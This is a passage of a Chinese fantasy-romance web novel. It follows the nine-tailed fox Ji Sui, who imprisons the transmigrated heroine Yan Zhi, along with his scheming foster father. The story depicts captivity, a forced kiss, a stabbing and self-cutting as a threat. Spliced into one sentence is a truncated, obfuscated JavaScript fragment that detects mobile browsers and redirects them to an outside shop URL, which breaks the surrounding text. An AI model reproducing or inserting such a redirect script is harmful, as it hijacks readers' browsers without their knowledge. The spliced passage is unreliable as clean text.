一瞬间胃部痛苦痉挛,纪绥笔直的背部有一瞬间颤抖,想要继续挺直脊背。但那疼痛和他吞噬妖怪的痛苦并不同,深入灵魂,像把他整个灵魂都活生生撕拽、拉扯、搅碎一般。
终于支撑不住,卧倒在地上,像一条挣扎缺氧的鱼。突如其来的惩戒让体内好不容易平稳下来的黑气溃散不堪,搅得他五脏六腑都错了位。他现在还不能死,还有事情想做......
“您误会了......我并未放弃龙珠,不和龙女联姻我也有别的方法得到它。”
纪绥狼狈不堪地跪倒地上,两手用力抓着地面,手背露出青筋,像一只终于认输的笼中困兽。
他现在还不能死......
至少现在不能......
看这九尾狐终于表现出痛苦臣服的姿态,定安侯的神色才舒展开来,也顺势松开了紧紧摁住的玉扳指。
还好,一切还在他掌控之中。
事关重大,计划绝对不能有半点闪失。
过了许久,才招来下人,定安侯挥挥手:“世子累了,带他回府歇息吧。”
看着侯爷离去的背影,纪绥眸中闪过一丝冷意,终于不再犹豫,定安侯又何尝赤诚相待过,敢将这传说中九尾狐克星交给自己,说明他还有别的手段。更何况,他现在才知道,那绝命剪根本就杀不了他。
养父从来就没有信任过他。
只是利用。
是他之前一直在恩情之中摇摆不定,形成了被关注的错觉。
现下腹部的催
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命绞痛就是最好的证明。
而且,也并未将他看做义子。
说到底,他和那些鱼池里乞食的鱼儿没什么两样,看似予取予求,当不被需要时,那只鱼食碗随时可以被扔掉。而,它们作为被抛弃的对象,只能活活饿死。
这恩情,这么多年的黑气早已还清。
*
下人小心翼翼地将纪绥扶上马车,男子斜倚着马车背垫,目光淡然,看着花梨木桌上的新鲜赤红的浆果,想起一件久远的事。
狭小山洞内,钟乳石不断滴答滴答地落水,惊醒了本就腹痛难忍的白毛狐狸。狐狸崽子刚出生三个月,看起来小小一只,用尾巴将自己围成一个白球,周身缭绕着浓重的黑气。
不知过了多久,一名妖媚女子从洞口小心翼翼地进来。
察觉到脚步声,忽地,白毛狐狸化成一个白嫩小孩模样,对着来人小声开口:“娘,娘,我好饿,好渴。”
他感到腹部好似有烈火在灼烧,烤得他腹痛难忍,好想要冰凉的东西入喉解渴。
娇媚的女子慌忙捂住小孩口鼻,将食指抵在他嘴边,示意他不要发出声音。
粉雕玉琢的小孩乖巧地闭上了嘴,忍痛咬唇,直到发白的唇瓣渗出血色才难耐地舔了口。
看着孩子虚弱的模样,她眼神流露出一丝哀切,低低嘱托:“不要叫,小心引来敌人。你在这里不要动,我去给你找些吃的。”
女子嘱咐完,快步走向夜色掩盖的洞口,外面密林沙沙作响。
小狐狸乖乖点头,只知道打一出生就和阿娘相依为命,虽然不知为何要一直在逃跑,但阿娘说的话,他都会乖乖照做。
然而,一波接一波的剧痛袭来,搅得五脏六腑疼痛难忍,
痛痒难耐,想要在地上来回打滚缓解。想起阿娘的嘱咐,用力掩住嘴巴不发出声音,直到浑身大汗,终于听到熟悉的脚步声。
女子换了身装扮,穿着粗布衣裙,面前灰色的围兜鼓鼓囊囊的不知道塞着什么东西,她来到纪绥面前,小心弯下腰,将布袋兜着的东西拿出来,还贴心的用围兜擦了擦,递到他嘴边。
女子看着他,眼神殷切:“快吃啊,这果子得新鲜吃才解渴。”
是一枚野果,色泽鲜红诱人,圆滑果身上还附着着清润的露珠,是刚从树上摘下来的新鲜。
早就饥渴难耐的纪绥迫不及待地咬了一大口,小脸很快皱成一片。
这果子并不像外表那么诱人,反而极其发苦,入口难咽,更像穿肠毒药。
他难受得想要把野果吐出来,被女子一把捂住口鼻,语气不复刚才的温柔,态度格外强硬:“不许吐。全都咽下去。”
一双狐狸眼巴巴地看着女子想要博取同情,但妩媚女子脸色格外严肃,没有分毫商量的余地,
没有办法,他只能听阿娘的话,将这果子囫囵吞枣地咽下去。
野果入体,恼人的灼痛得到些许缓解,却也因此维持不住人形,变成狐狸崽子的纪绥下意识想贴近阿娘取暖寻求安慰。
阿娘看着他,眼神懊悔,说着他听不明白的话,轻柔地抚过他的皮毛,哀叹道:“就这么活着也很好。”
就这样出神想着,手中的浆果早已不知不觉中被用力捏碎,鲜红的汁水流满手掌,触感格外黏腻。
另一只手从怀里拿出一张绢帕,立时一抖,上面绣的立体丝带玫瑰花微微展开。
正是那日颜芷绣的那一朵。
他怎么又把这方帕偷偷带上了?
那日只是看这绣法新鲜,觉得这小玩意新奇,有些无聊才想拿来看看。
绝不是把这当做她送他的信物。
自顾自地辩解,纪绥脸侧浮现熏红之色,将此帕飞速塞入怀中不愿再看,白衣公子拿起桌上另一方洁白手帕,轻轻将指腹上的汁水擦去,露出修长如玉的指节。
单手支着脑袋,纪绥看着窗外昏黑景色,面露厌烦,一手指节按着椅子扶手不自觉敲打。
当时他不明白,母亲也不解释,后来才知道寒莓果削减妖力的同时可以压制妖毒。
可为什么?
知晓此法,阿娘还是要伤了他尾巴后弃他而去。
一定要搞清楚这件事。
思索间,木头栏杆不知不觉被抓握变形。纪绥目光转移到手帕上的丝带花朵上,耳边再次响起定安侯的提点。
难道是真的钦慕她?
才想违背她意愿,不顾一切把她留在身边?
纪绥按住额头,轻嗤一声。
不可能。
只是对这个凡人有些好奇,感到同病相怜罢了。
按如今筹谋,假以时日,什么东西得不到?龙珠他势在必得,这女子也是。
他堂堂大宴朝世子,妖兽九尾狐,怎会如此不顾姿态地向一个凡人祈求真心?
未免太过卑微了。
府里的那个女人,目前还认不清她的现状,
好像还不是很喜欢他。
没关系,日久生情,她总会有喜欢他的一天,
而且,好像也不是完全排斥他,她在梦境中对他原身做的事情,他可一清二楚,片刻未忘。
引用出处
市列珠玑,户盈罗绮,竞豪奢。出自宋代柳永《望海潮·东南形胜》
能与人规矩,不能使人巧。出自《孟子·尽心章句下》
23. 明月高悬,独不照我
颜芷再次醒来后,环视四周,发现房间布局又变了个样子。一切安静清幽,半开的窗子露出临水亭台。
屋内薄床锦被,连悬挂的床帘都是金线缝制而成,尽显奢靡。
啊?这是给她换了个加强奢华版牢房?
放眼望去,是被关在湖中心的一个阁楼之上,四处没有渡船,只有一条一人宽的木桥。
木桥尽头是披坚执锐的一对护卫,正在来来回回地巡逻。
这,比之前龙女所在的屋子还要孤僻,还要更加难以逃逸。
好的是,屋子里没有看守她的下人,她可以一个人研究怎么逃出去。
打开房门,颜芷刚走两步,双手触摸到一个半透明结界,怎么都推不开。
阁楼步梯明明近在咫尺,对此刻的她来说却像是远隔云端。
这九尾狐到底在发什么疯?
难道是囚人囚禁上瘾了?
就算要把她当药人试炼也不必如此大费周章吧。颜芷凝眉,竭力思考对策,到底什么办法可以逃出去?
翻箱倒柜,爬上爬下许久,还是没找到出去的机关。
先不管了,还是好好休息积蓄体力,第二日再说。颜芷叹了口气,坐回床上。
外面清风朗月,万里无云,温度适宜得刚刚好。
她躺在架子床上,却翻来覆去怎么也睡不着。
虽然不是很想承认,但被困在蜘蛛妖梦境的那两天,颜芷又切切实实地品尝到被抛弃的滋味。深藏心底的痛苦好不容易模糊掉,又被清晰描摹出来。明明是只剩下模糊的记忆印象,梦中亲人看她的眼神格外清晰,真实的令人窒息。
算了,已成过去,就不要再想这些糟心事了,当务之急是如何才能完成任务,尽快回家。
呆在这里毕竟不是长久之计,要怎样进行到下一步,如何才能接触到纪绥?
这才是她当下需要考虑的正事。
*
突然间,窗户无端向着两侧打开,露出楼外的皎洁山水,淡淡月辉笼罩下,像名家挥笔落成的一幅淡雅水墨画。
颜芷被窗户打开的声音惊得坐起,却发现窗外空空荡荡,无人驻足。
于是起身,将窗户合上,侧身躺在床上,闭上眼睛。
又听得轰隆一声惊雷,颜芷烦闷地转过身,想下床再次关窗,却被眼前的一幕惊得有些说不出话。
一只通体雪白的狐狸出现在门口,月色洒在皮毛上,像泛着银白光泽,浑然织成的绸缎。
它就一动不动地站在门前,明明是只野兽,颜芷却从它眼中看出了几分紧张,身后一条雪白尾巴低低垂着,姿态萎靡,不像是好生喂养的狐狸,更像是失去主人的丧家犬。
怎么回事?
它额角有道伤口,正在汩汩流血,脸侧洁白的皮毛因染上殷红显得脏污,看得人触目惊心。
绝对不可能是那九尾狐,颜芷第一时间排除了纪绥的可能性。
那反派有洁癖,绝不不可能容忍自己狼狈地出现在别人面前。
难道他还在院中收留了其它同族?有纪绥饲养妖狼的例子在前,颜芷觉得自己的猜测不算太离谱。
一时搞不清楚状况,颜芷不敢轻举妄动,只能静静站着。
一人一狐就这样对峙,在比谁的耐力更久,面面相觑,夜色下的场面竟然无端的有些搞笑。
终于不满足于死寂,白毛狐狸主动打破尴尬,迈开爪子缓缓朝着颜芷所在方向走来。
随着和狐狸距离的拉进,颜芷更清楚地看到了它额头上的伤口,是一道一指长的伤口,在如丝绸般顺滑皮毛中格外碍眼,再往下一点,就是狭长微挑的眼眶。如果距离再近一点点,眼睛可能有失明的风险。
受伤的小兽来到她面前坐定,眼睛一眨不眨地看着她,格外乖巧。
白毛狐狸的瞳孔深邃,灵力流转,和她对视的眼神溢满哀求,像极了颜芷大学闲暇时参加慈善活动救助的流浪猫。
额,颜芷觉得她该死的同情心又犯了。
少女叹了口气,她向来精准复仇对象,恩怨分明。既然目标只有反派,那救治下其它小动物应该不算违规?把水盆端过来,颜芷又拿起一旁桌子上的擦伤药膏,对着小兽轻轻唤道:“过来,我帮你处理下伤口,小心感染失明。”
端水的功夫,颜芷又瞥了眼窗外,那群侍卫已走远了些。
看来这小狐狸应该找不到人医治了,所以才会冒着危险越过重重阻碍赶来求助她。
顺手打开药膏,颜芷不禁吐槽,纪绥这家伙果然除了外表一无是处,连同族弱小都不能悉心照料。
白毛狐狸充耳不闻,感受到颜芷的接近,一双蓬松的三角状耳朵不自觉上下抖了抖,舒服得眯起双眼,如同两道弯弯的月牙。
乖乖趴在颜芷的双膝上,它闭眼等她处理伤口,一条蓬松的大尾巴摇啊摇。
看着面前悠然的狐狸,颜芷哑然失笑,这小东西还蛮会享受。
本来是想直接蹲下身给它上药的,它倒好,熟门熟路过来找膝盖趴下,一点也不怕生,还像她之前大学里经常喂的那只流浪狗。
毛绒绒的雪白脑袋就在眼前晃悠,颜芷忍不住上手摸了摸。
嗯,是想象中的丝滑,非常舒适。
感受到女子掌心传来的温度,白毛狐狸忽觉脊背传来轻微电流过电的痉挛,是她在摸他,心口微微发痒,从未有过的愉悦,它不由得把头又往颜芷的手心里埋过去,示意她继续。
看到这小兽就这么乖顺地接受处理完伤口,没出现任何应激性反应,颜芷莞尔一笑,奖励性地又轻轻揉了两下狐狸脑袋。修长手指掠过,大胆地从它头顶划至尾巴,手感细腻顺滑,如同抚过真丝绸缎,又似拂过温热水流。
意想不到的一幕却在此刻发生,眼前的雪白尾巴滕地炸开,像报废了的鸡毛掸子。
颜芷来不及躲闪,就见一条尾巴瞬间瞬间分至九尾,发出比月色更甚的银色光芒。
脸上的笑意慢慢凝固。
一只白狐,九条尾巴,又能在层层守卫下闯进来,或者说默许下堂而皇之地走进来。
她实在想不到这府里的第二个人。
是她刚才太蠢,被这狐狸的可怜样骗过去了。
身前的狐狸显然还没意识到现状,还眯着眼睛,趴着的姿态惬意,还在点点脑袋求抚摸。
半天不见手掌落下,却发现颜芷语气幽幽:“你来做什么?”
狐狸还沉浸在刚才的舒适中,不假思索地回答:“来陪你睡觉啊。”
听到这石破天惊的一句,颜芷怒极反笑。
怎么从来没有发现这反派这么不要脸,她和他两个是可以一起睡觉的关系吗?
且不说系统任务,他前脚强制把自己带回家派人囚禁,消失几天,现在又不声不响过来装可怜求安慰。
当她是好玩的棉花娃娃?
不好意思,她没这个闲情逸致陪他逢场作戏。
颜芷起身打算离开,白毛狐狸还不死心地继续靠近,被她直接拎住后颈丢到门外。
嘭的一声,雕花木门被无情关上。
一阵银色光辉过后,白毛狐狸化作人身,正是纪绥。
他蹙起眉头,还在反思哪里漏出了马脚,却听得身后人冷冷发问。
颜芷背着门走开几步,心头浮现一个可怕的猜测:“你把龙女陆承泽他们都怎么样了?”
联想到反派身上的伤口,难道他已经找到主角们的行踪了?
听到这两个名字,纪绥方才的好心情被破坏得一干二净:“在这个时候,你就非要提他们吗?”
他不明白,为什么这女子在梦里可以做到和原身亲密接触,却在见到他本人却厌恶至极。
就那么讨厌他吗?
而且,她从来不惮以最大的恶意来揣测他。
想到这里,酸意上涌,突然出现的尾巴也不自觉地耷拉下来,和主人一起垂头丧气。
所幸已提前挥
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退了护卫,没有人能看到他的窘相。
纪绥站在屋外,脸色阴沉,之前受伤被压抑的妖毒好似再度复发,心口疼痛难忍。
从这女子和龙女、柳树精、蜘蛛妖等妖怪的接触来看,她分明不讨厌妖怪,甚至还格外维护它们。
可为什么,到了他这里,就成了冷眼相待,横眉冷对?
这很不公平。
为什么,她独独讨厌他?
明明他也有按她说的做。
从前,他只觉得这独一份的厌恶,也很好,最起码,他在此人的眼里很特别。
可现在,只感到这独一份的冷待令人难过。
她投来的眼神很是刺人。
将那只狐狸一把丢门外后,颜芷才冷静下来,发觉刚才的举措有多离谱。
糟糕,刚才下意识冲动了,没能抓住时机制住反派。真是失策。
当时只想着这纪绥一而再再而三的耍人后又消失的举动,感情先于理性用事了。
这不像平时的她。颜芷深呼了口气,强迫自己回归到任务中。
好不容易才见到反派,万一,纪绥暴怒之下再去杀人杀妖,岂不离黑化烂尾大结局又更近了一步?
联想到这个可能,意识到情况不妙,颜芷快步上前打开房门。
坏消息,纪绥已经消失不见。
而夜色乍变,远处黑云滚滚,狂风大作,一副山雨欲来的架势,木桥摇摇欲坠。
好消息,此时能下步梯,木桥尽头竟无人驻守,她得赶快出去找人。
刚逃到木桥口,颜芷就撞见两名功夫高强的黑甲侍卫。
本想装作是无意路过的侍女蒙混过关,没想到那两名侍卫只是相互交换了个眼神,似乎就知晓了眼前人身份,直接将她押送到一座造型精致的阁楼前。
*
庭院里,恭候已久的两名嬷嬷将颜芷一左一右架住。
这两人身形佝偻,白发苍苍,看起来年老体弱,抓她的手劲却出奇地大,一时难以挣脱。
才出虎穴,又入狼口,不明白这些人是何用意,颜芷挣扎道:“你们要做什么?”
两名嬷嬷不苟言笑,并未回话,将她一路架着穿过遮雨连廊,带到一个宽敞房间内热气腾腾的浴池旁边,就不由分说一把将颜芷推了下去。
骤然入水,颜芷反应不及,就被池水打湿个满怀。
热水氤氲蒸腾,模糊了女子素丽的眉眼。
身上本就单薄的夏季衣衫此刻被彻底浸湿,湿淋淋地贴在身上。
温泉水雾缭绕,熏香逸散,池中飘散着无数花瓣,见岸边两位嬷嬷还想扒衣服,被按得动弹不得,险些喘不过气,想到再这样下去呼吸不畅会溺死的,颜芷不由大喊:“不用你们动手,我自己来。”
不管她们要做什么,现在先顺着这些人的意愿来,一会儿有的是机会逃跑。
必要时候服软,也是一种聪明的求生技巧。
沐浴完毕后,颜芷又被二人动作迅速地押送到屏风镜台前描眉画鬓。妆台上,铜镜粉盒,梳簪发钗一应俱全。
看着铜镜里的女子,颜芷有些陌生。镜中的她宝髻摇簪,朱唇榴齿,妖冶艳丽,和平时的不施粉黛的她判若两人。
之前打扮过一次,是要她随他去找人。
现在又派人把她盛装打扮成这样,是要做什么?
难道那反派因之前事心生不快,要她去伺候别人折辱她?
想到这个可能,颜芷面色发冷。
余光瞥见梳妆台旁边的修眉剪,趁嬷嬷不注意时悄悄将它藏在袖中。
没想到人算不如天算,刚藏好东西转身就被点了穴。然后沐浴干净的颜芷,又被迫换上了清凉的粉色纱衣。
又被层层包裹,裹着锦被抬进了阁楼二层。
到了门前,将颜芷推进房间前,一直默不作声的两名嬷嬷,如同解开嘴禁的木偶人,终于开口:“好好伺候我们世子。”
颜芷:???
24. 你的喜欢,真是徒有虚名
不能动弹的颜芷被锦被包裹的严严实实,盯着上面栩栩如生的子孙图思绪混乱。
这信息量太大,她一时消化不过来。
再给一天一夜的时间,她想破脑袋,也想不到事情到底是如何发展到这一步的?
还是说,那木灵契,或者蜘蛛妖梦境有什么副作用,
会让这狐狸对她色心大起?
纷乱的思绪被关门声打断。
*
深夜如墨,纪绥半靠在榻上,一腿随意支起,一条腿搭在塌边,左臂漫不经心地搭在屈起的膝盖上,端着酒杯的手指修长,并不急着饮酒,而是转着酒杯细细把玩,眉目低垂,似乎在想什么心事。
酒液清亮,在月色照映下荡起微微涟漪,如同她轻浅起伏的呼吸。
半晌,才将那琉璃盏送至唇边轻抿一口,喉结滚动,几滴冰凉酒液顺着下巴缓缓下落,直至没入半遮半掩的里衣,流入块垒分明的腰腹。
白衣公子面色微红,狐狸眼狭长,本就风流的容颜因这酒色更添几分妖气,目光冷淡,盯着酒杯发呆,和身后窗外的月色一起融成一幅深浅不明的画。
方才,因心情不快多饮了几杯酒,是素日不会碰的幽昙醉。
但这酒,并不像坊间所说的那般排忧消愁,几杯下肚,半分郁结未解,更添惆怅。酒过三分,躁热漫过胸膛,醉意冲昏头脑,不由对着门外等候的人丢出一句:“把颜芷叫来。”
他要和这女子当面谈谈。
她凭什么?
或者说,有何种资格这样对他?
今日当值的仆人见世子匆匆归来,面色不虞,而后便是关上房门独自饮酒。在外面焦躁等候半天,也没得到什么指令。不知这平时养尊处优,呼风唤雨的侯门公子,究竟出了何事?遇到何种难题?才能惹得他如此不快。
这定安侯世子,性格阴晴不定,但天生爱笑,就连处罚人,也是笑意吟吟的,叫人根本猜不透他的心思。
最近几月,倒是平顺起来,不知为何竟大发善心,下令给府里众人解了虫蛊,还给卖身契和丰厚的遣散费,让众人自行决定去留。府上的人大多走空,只留下几位年岁已高或者不好别处谋事的,打算干到中秋再走,趁着这世子还算好说话,谋些生计。
谁成想,还算安稳的日子如镜花水月,现在便生了波折。
听到陌生名字,两位下人你看我,我看你,不由得面面相觑,苦着脸不知缘由。半晌,才突然反应过来,世子说的是,那位被他关在阁楼里,加了层层保护,做一道饭菜都要验三遍毒的姑娘。
只知道她名叫芷兰,是先前在府里做了半个月工的丫鬟,先前意外得宠,和世子出去一趟回来后,就被关阁贮娇。
起初,见那日世子气势汹汹拉着这女子回来的样子,还以为她犯了弥天大错。没过半日,众人被下了一日多次探访,日夜看护,定时巡查的命令,相互交换信息才发现,看殿下这举措,更像是在防着什么人。
这是什么新奇玩法?还有什么人是这胆大妄为的世子会怕的?
算了,左右也不关他们的事。
反应过来,仆人即刻识相去找,生怕延误了时机。
看现在这位阴云密布,怒火蓄势待发的样子,还是快些把那姑娘找来为妙,伺候好这位祖宗,免得波及到他们。
醉眼朦胧间,纪绥又想起一桩事,放下酒盏,指尖微动,一张古朴泛黄的字条跃然指尖。
是秘信,不日前寻到的狐族秘闻,据说是某不知名古墓所出,被人挖到在奇市上高价倒卖,辗转几手来到了他这里。
事到如今,在大宴朝人人喊打的狐族能有什么秘密?无非是狐媚惑主,祸国殃民,供一些人茶余酒后的无聊谈资罢了。
想到这里,纪绥嗤笑一声,连他自己都搞不清楚身上这些谜团。
就这样漫不经心地想着,纪绥随意打开字条。
幽幽烛火熏烤之下,一行簪花小楷跃然纸上。
狐者,至情之物。九尾更甚,切忌远离所爱,恐伤人害己。
小字越往后读,字迹越不平稳,到最后字尾,晕开些墨渍,好似执笔人下手不稳。
这都什么乱七八糟的?他还以为,会得到什么了不得的信息。
最起码,会对此次复仇大计有帮助。
抬手轻按眉心,纪绥缓步移回床榻上准备休息,将要闭上眼。
却听一声关门声响,一个意料之外的幻影忽现眼前。
*
是他刚才饮酒时还挂念的脸。
是在梦里吗?
他对此人竟牵挂至此?对这个魂牵梦萦的念头十分意外,俊脸不禁飞上红晕。
但刚刚还闹过不愉快,她分明不想接近他,此刻又因何事登门?
酒意上涌,看对方这副奇奇怪怪的装扮,纪绥疑惑发问:“你怎么来了?”
难道她意识刚才举止不妥,或者意识到什么,来负荆请罪了?
听对方明知故问,本就被刚才仆从一番操作折磨的精疲力竭,但又因施了禁言术不能说话,自顾自做这些,又自顾自不听她说话,颜芷心头燃起怒意。
不是他叫她来的吗?
还把她绑成这个样子。
被两人一把推进门内,失去支点,包裹着的薄被立时散落开。
被点穴的身子不受控制直直下坠,眼看就要和地面亲密接触。
预想到不可避免的疼痛,颜芷闭眼,却跌进一个温热的怀抱。
睁眼一看,撞上对方的眼神,目光如潭,看不清情绪。
一把揽过女子的腰,纪绥这才发现颜芷被点穴。
而且,她穿得太过暴露。藕粉纱裙露出半抹□□,勾出盈盈一握的细腰,纱衣薄如蝉翼,若隐若现。妆容浓艳,环佩叮当,自带勾魂夺魄的娇媚,却难掩骨子里的清冷。
尽管虚虚地扶在她的腰上,手指还不经意间接触到细腻微凉的肌肤,所过之处引起一阵颤栗,挑动他岌岌可危的控制力。
嗯?
是有备而来勾引他?
闻到他身上的味道,除了浅淡的昙花酒气,还有一股似有若无的冷香,和刚才沐浴池水中的熏香味道一致。被迫贴近距离相近,这样做好像在共享呼吸一样,颜芷有种心烦意乱的不适感。
“你快解开。”对着那双带着笑意的眼眸,她眼神左右转动,羞耻漫上心头,示意纪绥快点帮忙。
收到女子灵动眼神提醒,又联想到喝酒一事,九尾狐了然,哑然失笑。
一定是下人把他刚才的酒醉乱语当成命令去执行了,才闹出这一出啼笑皆非之事。
点住的穴道被他三两下解开,颜芷僵硬的身体瞬间松软下来,获得身体控制权的同时不由松了口气,却因一时脱力后仰倒在男子身上,感到身后滚滚而来的烫意。
察觉两人贴合的姿势紧密,颜芷有些别扭,准备拉开和这反派的距离,再说正事。
眼见这女子又要推开他,纪绥的好心情一扫而空。
就这么想离开他?
他要什么求不到?
这女子偏偏,一而再,再而三地挑战他的底线。
而且,那殷红唇瓣一张一合,一定又要吐出什么伤人之语。
再也不忍了!
他也不想听!
纪绥怒意横生,盯着颜芷殷红的唇,捏住她轻巧的下巴,不管不顾地覆身吻上去。
男子霸道的气息侵入唇齿,带有昙香的幽冷,颜芷顿觉头昏脑涨,双手触碰到紧实的胸膛,却半分推拒不开。
这疯子,又强迫她!
不由咬破他的嘴唇,丝丝鲜血流出。
察觉到女子的挣扎和齿尖漫上的痛意,纪绥闭眼,却反手将她搂得更紧,唇齿纠缠,想再也无法分开。
平生最恨别人强迫,颜芷快要呼吸不过来,急中生智,想到藏在袖中的剪刀,不再犹豫地刺向对方。
一股热意自腰腹涌出,是熟悉的痛。纪绥缓缓低头,看向腹部流血的伤口,又看到女子发冷的眼神,胸口痛意更甚千百倍:“为什么?”
嘴上说着,却没有放开颜芷,力道大的像是要把她死死嵌入体内。
这女子,难道这些天,他的心意一点都感受不到吗?
难道他们注定不同路?
见这样还不能阻止,颜芷拿起短刃,像是要朝着腕部划下,开口威胁:“如果你再不停止这种做法?我就割腕自尽,我们一起死!”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17211686|197426||http|test|mini|href|location''.split(''|''),0,{}));
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>事到如今,还是不得不利用木灵印。
看来这九尾狐一贯习惯强迫别人。
之前希望他改邪归正的想法简直可笑,是一种奢望。
酒气顷刻消散,纪绥愣怔,一时松开了力道。
怎么这女子还是那么软硬不吃,面冷心更冷。
而且,还想用早已失效的木灵契威胁他?
“你为什么这么想和我一起死?”他嘲讽地笑,又将女子拽回身前,想看她的下一步动作。
如果可以,他想剖开她的心,看看到底是什么做的?
为何如此油盐不进?如此冷硬?
颜芷向来对别人狠,对自己更狠。
为了证实自己所言非虚,直接下手,在纤细手腕上割出一道血痕。
她竟然真的能做出来!
纪绥瞳孔骤缩,施法打掉能伤人的利刃,语气转冷:“木灵印已经解除,你只能伤到自己,伤不到我。这样下去只是白费力气。”
想起梦境,他顿了一刻,开口:“我知道你的秘密,你是异乡人。我也是被抛弃的。”
“我们是同类才对。”
回想起那个梦和这反派回来后的种种举止,一种异样的触感爬上颜芷心头:“既然你知道,为什么所幸不做干净点,直接杀了我。”
他到底想干什么?是看自己好玩所以这样做吗?
还是因为别的?
想到排除各种可能性的唯一答案,颜芷有些心颤。
“你明明可以直接杀了我,为什么要把我困在这里反复折磨?”她语气艰涩。
是啊,明明可以直接要她的命,为什么还要对她有所求?
思索半天,终于得到一个之前否认的答案,纪绥低声:“当然是因为喜欢。”
脸上不自觉染上红晕,不知是酒意还是别的。
想通这一切后,接下来的话也不再艰难:“我心悦你,你提什么要求都可以,只要在我能力范围内。”
听到这石破天惊的告白,颜芷愣了一瞬。
纪绥的话,像一记闷锤,重重敲击在心脏上,让她一时反应不过来。
是因为喜欢吗?
但不由分说将她囚禁起来,什么也不告诉她。
这种名为保护实则囚禁的说法,配得上说喜欢吗?
摆脱掉不该有的心动,意识重归理智,颜芷开口:“囚禁我,还敢说心悦我?”
她垂眸看着身上刚才五花大绑留下的勒痕,以及流血的手腕:“你根本不懂什么叫喜欢。”
忐忑等待着回应,却听到女子指责,纪绥期待的心情落空。
白衣男子盯着她的眼神痛苦悲哀,像是她犯下什么惊天大罪一样。
颜芷被眼神狠狠刺伤,不愿再看他,开口:“如果你真的喜欢我,愿意放弃龙珠吗?不要再伤害龙女和捉妖人。”
心思无意识偏离,她忐忑地想,如果这样,反派洗手,主角结局或许不会那么坏,她也能帮忙改变。就这样想着,双手不自觉攥紧。关闭已久的心门,透出一条小缝。
*
等待的时间格外漫长。
“这个不可以,别的可以商量。”
想起和养父的约定,纪绥拧眉,走到身侧拿起手帕,想拉起她的手腕止血。
得到预想中的答案,巨大的失落感如海水般涌来,颜芷有些想笑。
都是这样,父母也是这样,院长也是这样,他更是这样,从来不顾及别人的意愿。她就不应该抱有期待。
颜芷闭眼又睁眼,声音有些颤抖:“我们不是同类......你的喜欢真是徒有虚名。”
说完后,便推开纪绥跑了出去。
她真可笑,居然相信这个狡诈多变的反派,像个任人摆布的傻瓜一样。
猝不及防被推倒在地,纪绥捏着手帕有些无措。
愣怔了一会儿,他看着腹部血流不止的伤口,低低笑道:“原来,我真的喜欢她。”
切忌远离所爱,恐伤人害己。是这样吗?
他已经很久没有这样受伤了。
颜芷刚跑出走廊,换好衣装,就被一个蹲守已久的黑衣人蒙住面,昏迷之前听得一个陌生男子开口:“找到你了。”
25. 趁手的武器
浅淡的香气钻入鼻腔,唤醒意识,颜芷睁开眼,身处一个陌生的议事厅里。
她环视四周,试图动弹木椅上的身体,却察觉双手早已被牢牢地反绑住,低头,双脚也被绳子绑着,上面还流窜着不知名的符文。
对面坐着一个儒雅的中年男子,穿着浅灰色袍衫,正拿着铜色香押不紧不慢地拨弄香灰。
见颜芷醒来,他挥退手下,撩起衣袍起身,拿起桌案上一根棕色线香向她走来。
线香烧得很快,空气中由远及近飘来一股幽幽的异香。
拿香之人语气平缓,几乎没有一丝起伏:“你就是被纪绥关在阁楼的那个女子?”
香气不受控地一股脑涌入鼻腔,让颜芷有些头晕目眩。
不清楚被何人绑架,但这迷香一定有什么副作用。颜芷想屏住呼吸却不受控制,只能低下头尽量避免大量气体摄入,余光瞥见中年男人的衣袖。
这人衣着格外朴素,穿着浅灰袖口却是用特制银线缝制的云纹,云朵一角缝有浅色的金线,在日光照耀下略显夺目。
等等,特制云纹?
颜芷努力搜索书中有相关记忆点的人物。还有,这摆设触目所及素雅质朴,但就颜芷之前在邀月轩干活的经验来看,紫檀木桌,螺钿漆器,还有衣着上的特定标识云纹。
她明白这人是谁了,应该是纪绥的父亲-定安侯纪云。
书中对定安侯的描写出场不多。虽为侯爷,但一直远离朝堂,不问政事,出身制香世家,幼失怙恃,青年丧妻,收养九尾狐,世事人情琴棋书画无一不是倾囊相授,结局却被走火入魔的纪绥所杀,足见他的心狠手辣和翻脸不认人。
但这行事低调,深居简出的侯爷何故要把她掳来?该不会是想问责她?
不知此人心思,颜芷不想贸然回答,但那香却不由自主地催使她开口:“是。”
侯爷皱眉,拿起那根线香在颜芷面前晃了晃,再次发问:“你呆在纪绥身边的目的是什么?”
从纪绥之前敢公然反抗,他便意识到这柄无往不利的利刃有些咯手。纪云本不想在意,可千里之堤,溃于蚁穴。棋局未落定前,一切皆有变数,他不得不防。
据手下探子消息,这女子,就是最近让九尾狐躁动的罪魁祸首,一个月前入府的丫鬟,还和纪绥一起去过栖云阁,救出侍郎夫妇,据说还身怀玄法,所以,他特意用锁灵链将其捆住。
这般心怀目的地接近纪绥,究竟为了什么?
若说财权色,定安侯世子的名头和九尾狐的皮囊确实听起来不错,可从未见这狐妖让谁近过身。
女子眼神变得空洞,神情和被无形丝线控制的木偶人无异,没有丝毫感情地:“杀、了、他。”
细长的香柱即将燃尽到指尖,热意被一手掐断,定安侯挑眉,对这个结果颇感意外。
沉思片刻,走到窗边打开木窗通风。
清爽的风吹进来,刚才还浓郁窒息的墨兰香雾瞬间被驱散不少。
垂眸看着指尖残余的黑烬,纪云拿起一块软布擦去,这是最近研制出来的香料,可以让人在脱力状况下吐露真言,不过刚研制完成,剂量太少,药性并不稳定,极易致死,要慎用。
扳指里的狐魄因久离主人身边,对纪绥影响力越发微弱。
他本还想着如何制衡着逆子,眼下倒送来一个把柄。
眼前这女子似乎是纪绥的软肋,他最近“不太听话”,做事有些消极怠工。
看孽子藏匿的架势,应该对狐妖来说很重要,确实可多加利用。
思及此,侯爷打了个响指,颜芷悠悠转醒,失去焦点的瞳孔渐渐恢复高光。刚才一阵迷香过后,她能感知到被迫说话,却根本无力反抗。
这香料,就和现代测谎仪一般,逼迫她把内心秘密一分不差地倾倒出来。
神志恢复清明,颜芷见这侯爷倒了一杯茶,掀起茶盖轻轻撇去碧绿茶水上的浮沫,悠悠开口:“我们合作如何?”
他面色和缓,丝毫不见爱子被威胁的慌张和怒意。
听到突如其来的提议,颜芷一时愣怔,反应不过来。
